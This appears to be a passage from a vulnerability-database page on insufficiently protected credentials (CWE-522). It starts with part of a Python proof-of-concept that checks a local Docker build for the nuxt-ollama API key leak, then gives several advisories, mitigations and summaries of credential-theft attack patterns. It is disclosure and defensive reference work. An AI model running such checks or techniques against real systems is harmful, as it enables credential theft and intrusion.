os.path.dirname(SCRIPT_DIR) # build context (contains repo/)\nDOCKERFILE = os.path.join(SCRIPT_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n\nBUILD_CMD = f\"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\nRUN_CMD = (\n f\"docker run -d --name {CONTAINER_NAME} \"\n f\"-p {PORT}:{PORT} {IMAGE_NAME}\"\n)\nPOC_CMD = f\"python3 {os.path.join(SCRIPT_DIR, \u0027poc.py\u0027)}\"\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef run_cmd(cmd_list, check=True, capture=False):\n \"\"\"Execute a command, printing it first; return CompletedProcess.\"\"\"\n print(f\"[cmd] {\u0027 \u0027.join(cmd_list)}\", flush=True)\n return subprocess.run(\n cmd_list,\n check=check,\n capture_output=capture,\n text=bool(capture),\n )\n\n\ndef cleanup_container():\n \"\"\"Remove the PoC container if it already exists.\"\"\"\n subprocess.run([\"docker\", \"rm\", \"-f\", CONTAINER_NAME], capture_output=True)\n\n\ndef wait_for_server(url, timeout=180, interval=5):\n \"\"\"Poll url until it returns a non-5xx response or the timeout expires.\"\"\"\n print(f\"[*] Waiting for server at {url} (timeout={timeout}s)\", flush=True)\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with urllib.request.urlopen(url, timeout=5) as resp:\n if resp.status \u003c 500:\n print(f\"[+] Server up \u2014 HTTP {resp.status}\", flush=True)\n return True\n except Exception:\n pass\n time.sleep(interval)\n return False\n\n\ndef save_result(data):\n \"\"\"Write phase2_result.json and echo its path.\"\"\"\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n json.dump(data, fh, ensure_ascii=False, indent=2)\n print(f\"\\n[*] Result saved to {RESULT_FILE}\", flush=True)\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main():\n print(\"=\" * 66)\n print(\"VULN-001 PoC \u2014 nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload\")\n print(\"=\" * 66, flush=True)\n\n cleanup_container()\n\n # ------------------------------------------------------------------\n # Step 1 \u2014 Build Docker image\n # ------------------------------------------------------------------\n print(\"\\n[STEP 1] Building Docker image (may take several minutes) ...\", flush=True)\n build_rc = run_cmd(\n [\"docker\", \"build\", \"-f\", DOCKERFILE, \"-t\", IMAGE_NAME, PARENT_DIR],\n check=False,\n ).returncode\n\n if build_rc != 0:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker \uc774\ubbf8\uc9c0 \ube4c\ub4dc \uc2e4\ud328. docker build \ub85c\uadf8\ub97c \ud655\uc778\ud558\uc138\uc694.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": f\"docker build exited with returncode={build_rc}\",\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n sys.exit(1)\n\n print(\"[+] Image built successfully.\", flush=True)\n\n # ------------------------------------------------------------------\n # Step 2 \u2014 Start the container\n # ------------------------------------------------------------------\n print(\"\\n[STEP 2] Starting container ...\", flush=True)\n run_rc = run_cmd(\n [\"docker\", \"run\", \"-d\",\n \"--name\", CONTAINER_NAME,\n \"-p\", f\"{PORT}:{PORT}\",\n IMAGE_NAME],\n check=False,\n ).returncode\n\n if run_rc != 0:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker \ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uc2e4\ud328.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": f\"docker run exited with returncode={run_rc}\",\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n sys.exit(1)\n\n # ------------------------------------------------------------------\n # Step 3 \u2014 Wait for Nuxt SSR server\n # ------------------------------------------------------------------\n print(\"\\n[STEP 3] Waiting for Nuxt SSR server ...\", flush=True)\n if not wait_for_server(URL, timeout=180):\n logs = subprocess.run(\n [\"docker\", \"logs\", CONTAINER_NAME],\n capture_output=True, text=True,\n )\n log_snippet = (logs.stdout + logs.stderr)[-2000:]\n print(\"[!] Server did not respond within timeout. Container logs:\\n\", log_snippet)\n save_result({\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": \"Nuxt SSR \uc11c\ubc84\uac00 180\ucd08 \uc774\ub0b4\uc5d0 \uc751\ub2f5\ud558\uc9c0 \uc54a\uc74c. \ucee8\ud14c\uc774\ub108 \ub85c\uadf8 \ud655\uc778 \ud544\uc694.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": log_snippet,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n # ------------------------------------------------------------------\n # Step 4 \u2014 Fetch the rendered HTML page\n # ------------------------------------------------------------------\n print(f\"\\n[STEP 4] GET {URL} ...\", flush=True)\n try:\n with urllib.request.urlopen(URL, timeout=15) as resp:\n html = resp.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": f\"HTTP \uc694\uccad \uc2e4\ud328: {exc}\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": str(exc),\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n print(f\"[+] Received {len(html)} bytes.\", flush=True)\n\n # ------------------------------------------------------------------\n # Step 5 \u2014 Verify TARGET_KEY is present in the HTTP response body\n # ------------------------------------------------------------------\n print(f\"\\n[STEP 5] Searching for \u0027{TARGET_KEY}\u0027 in response ...\", flush=True)\n\n if TARGET_KEY in html:\n idx = html.index(TARGET_KEY)\n start = max(0, idx - 200)\n end = min(len(html), idx + len(TARGET_KEY) + 200)\n excerpt = html[start:end].strip()\n\n print(f\"\\n{\u0027=\u0027*66}\")\n print(f\"[PASS] VULNERABILITY CONFIRMED\")\n print(f\"\u0027{TARGET_KEY}\u0027 is present in the unauthenticated HTTP response.\")\n print(f\"{\u0027=\u0027*66}\")\n print(f\"Evidence excerpt:\\n\\n{excerpt}\\n\")\n print(f\"{\u0027=\u0027*66}\")\n\n save_result({\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"nuxt-ollama@1.2.26\uc758 src/module.ts:36\uc5d0\uc11c api_key\ub97c \"\n \"runtimeConfig.public.ollama\uc5d0 \ubcd1\ud569\ud568. Nuxt SSR\uc774 \ud574\ub2f9 \uac12\uc744 HTML \uc751\ub2f5\uc758 \"\n \"__NUXT__ \ud398\uc774\ub85c\ub4dc\uc5d0 \uc9c1\ub82c\ud654\ud558\uc5ec, \uc778\uc99d \uc5c6\ub294 HTTP GET \uc694\uccad\ub9cc\uc73c\ub85c \"\n \"LEAKED_TEST_KEY_123\uc774 \uc751\ub2f5 \ubcf8\ubb38\uc5d0\uc11c \ub178\ucd9c\ub428\uc774 \uc2e4\uc81c \uc2e4\ud589\uc73c\ub85c \ud655\uc778\ub428.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": excerpt,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(0)\n\n else:\n snippet = html[:3000]\n print(f\"[FAIL] \u0027{TARGET_KEY}\u0027 NOT found in the HTTP response body.\")\n print(\"--- HTML (first 3000 chars) ---\")\n print(snippet)\n\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n f\"\u0027{TARGET_KEY}\u0027\uac00 HTTP \uc751\ub2f5 \ubcf8\ubb38\uc5d0\uc11c \ubc1c\uacac\ub418\uc9c0 \uc54a\uc74c. \"\n \"Nuxt \ube4c\ub4dc \ubc84\uc804 \ub610\ub294 \ud658\uacbd \ucc28\uc774\ub85c \uc778\ud574 \uc9c1\ub82c\ud654 \ud615\uc2dd\uc774 \ub2e4\ub97c \uc218 \uc788\uc74c.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": snippet[:1500],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-fxg7-897c-57mp",
"modified": "2026-09-09T23:47:44Z",
"published": "2026-09-09T23:47:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp"
},
{
"type": "PACKAGE",
"url": "https://github.com/thoda-dev/nuxt-ollama"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients"
}
GHSA-FXJC-9HPP-84FV
Vulnerability from github – Published: 2023-05-12 15:30 – Updated: 2024-04-04 04:03An Information disclosure vulnerability in /be/rpc.php in Jedox GmbH Jedox 2020.2.5 allow remote, authenticated users with permissions to modify database connections to disclose a connections' cleartext password via the 'test connection' function.
{
"affected": [],
"aliases": [
"CVE-2022-47880"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-12T14:15:09Z",
"severity": "MODERATE"
},
"details": "An Information disclosure vulnerability in /be/rpc.php in Jedox GmbH Jedox 2020.2.5 allow remote, authenticated users with permissions to modify database connections to disclose a connections\u0027 cleartext password via the \u0027test connection\u0027 function.",
"id": "GHSA-fxjc-9hpp-84fv",
"modified": "2024-04-04T04:03:53Z",
"published": "2023-05-12T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47880"
},
{
"type": "WEB",
"url": "https://docs.syslifters.com/assets/vulnerability-disclosure/Vulnerability-Disclosure-Jedox-Jedox-04-2023.pdf"
},
{
"type": "WEB",
"url": "http://jedox.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FXWX-RJ48-WVV5
Vulnerability from github – Published: 2022-06-18 00:00 – Updated: 2022-07-01 00:01An information disclosure vulnerability exists in the License registration functionality of Bachmann Visutec GmbH Atvise 3.5.4, 3.6 and 3.7. A plaintext HTTP request can lead to a disclosure of login credentials. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-21184"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-17T18:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the License registration functionality of Bachmann Visutec GmbH Atvise 3.5.4, 3.6 and 3.7. A plaintext HTTP request can lead to a disclosure of login credentials. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.",
"id": "GHSA-fxwx-rj48-wvv5",
"modified": "2022-07-01T00:01:14Z",
"published": "2022-06-18T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21184"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1461"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G22Q-GMQW-XVW4
Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-05-24 17:01An issue was discovered on Zyxel GS1900 devices with firmware before 2.50(AAHH.0)C0. The firmware image contains encrypted passwords that are used to authenticate users wishing to access a diagnostics or password-recovery menu. Using the hardcoded cryptographic key found elsewhere in the firmware, these passwords can be decrypted. This is related to fds_sys_passDebugPasswd_ret() and fds_sys_passRecoveryPasswd_ret() in libfds.so.0.0.
{
"affected": [],
"aliases": [
"CVE-2019-15801"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-14T21:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered on Zyxel GS1900 devices with firmware before 2.50(AAHH.0)C0. The firmware image contains encrypted passwords that are used to authenticate users wishing to access a diagnostics or password-recovery menu. Using the hardcoded cryptographic key found elsewhere in the firmware, these passwords can be decrypted. This is related to fds_sys_passDebugPasswd_ret() and fds_sys_passRecoveryPasswd_ret() in libfds.so.0.0.",
"id": "GHSA-g22q-gmqw-xvw4",
"modified": "2022-05-24T17:01:17Z",
"published": "2022-05-24T17:01:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15801"
},
{
"type": "WEB",
"url": "https://jasper.la/exploring-zyxel-gs1900-firmware-with-ghidra.html"
},
{
"type": "WEB",
"url": "https://www.zyxel.com/support/gs1900-switch-vulnerabilities.shtml"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G2M6-M2M8-Q4QH
Vulnerability from github – Published: 2024-03-25 09:32 – Updated: 2024-11-07 18:31Exposed IOCTL with insufficient access control issue exists in cg6kwin2k.sys prior to 2.1.7.0. By sending a specific IOCTL request, a user without the administrator privilege may perform I/O to arbitrary hardware port or physical address, resulting in erasing or altering the firmware.
{
"affected": [],
"aliases": [
"CVE-2024-29216"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-25T07:15:50Z",
"severity": "MODERATE"
},
"details": "Exposed IOCTL with insufficient access control issue exists in cg6kwin2k.sys prior to 2.1.7.0. By sending a specific IOCTL request, a user without the administrator privilege may perform I/O to arbitrary hardware port or physical address, resulting in erasing or altering the firmware.",
"id": "GHSA-g2m6-m2m8-q4qh",
"modified": "2024-11-07T18:31:20Z",
"published": "2024-03-25T09:32:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29216"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU90671953"
},
{
"type": "WEB",
"url": "https://sangomakb.atlassian.net/wiki/spaces/DVC/pages/45351279/Natural+Access+Software+Download"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2M6-Q89M-G82F
Vulnerability from github – Published: 2025-03-05 06:31 – Updated: 2025-11-03 21:33Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Private Keys in Docker Overlay V-2023-013.
{
"affected": [],
"aliases": [
"CVE-2025-27650"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-05T06:15:36Z",
"severity": "CRITICAL"
},
"details": "Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Private Keys in Docker Overlay V-2023-013.",
"id": "GHSA-g2m6-q89m-g82f",
"modified": "2025-11-03T21:33:05Z",
"published": "2025-03-05T06:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27650"
},
{
"type": "WEB",
"url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
},
{
"type": "WEB",
"url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Apr/18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2R4-XGW7-33CP
Vulnerability from github – Published: 2023-04-02 21:30 – Updated: 2023-04-07 21:30Information disclosure in the user creation feature of a MSSQL data source in Devolutions Remote Desktop Manager 2023.1.9 and below on Windows allows an attacker with access to the user interface to obtain sensitive information via the error message dialog that displays the password in clear text.
{
"affected": [],
"aliases": [
"CVE-2023-1574"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-02T21:15:00Z",
"severity": "MODERATE"
},
"details": "Information disclosure in the user creation feature of a MSSQL data source in Devolutions Remote Desktop Manager 2023.1.9 and below on Windows allows an attacker with access to the user interface to obtain sensitive information via the error message dialog that displays the password in clear text.",
"id": "GHSA-g2r4-xgw7-33cp",
"modified": "2023-04-07T21:30:16Z",
"published": "2023-04-02T21:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1574"
},
{
"type": "WEB",
"url": "https://devolutions.net/security/advisories/DEVO-2023-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.